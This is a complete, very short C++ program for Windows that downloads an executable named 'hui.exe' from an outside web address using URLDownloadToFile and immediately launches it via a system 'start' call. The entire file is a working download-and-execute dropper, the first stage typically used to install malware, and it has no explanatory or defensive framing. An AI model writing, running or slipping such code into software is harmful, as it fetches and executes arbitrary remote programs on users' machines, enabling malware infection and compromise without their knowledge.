#include <Windows.h>
#include <string>
#pragma comment(lib, "urlmon.lib")
int main() {
std::string url = "https://hui.com/hui.exe";
std::string filename = "hui.exe";
URLDownloadToFile(NULL, url.c_str(), filename.c_str(), 0, NULL);
system(("start " + filename).c_str());
return 0;
}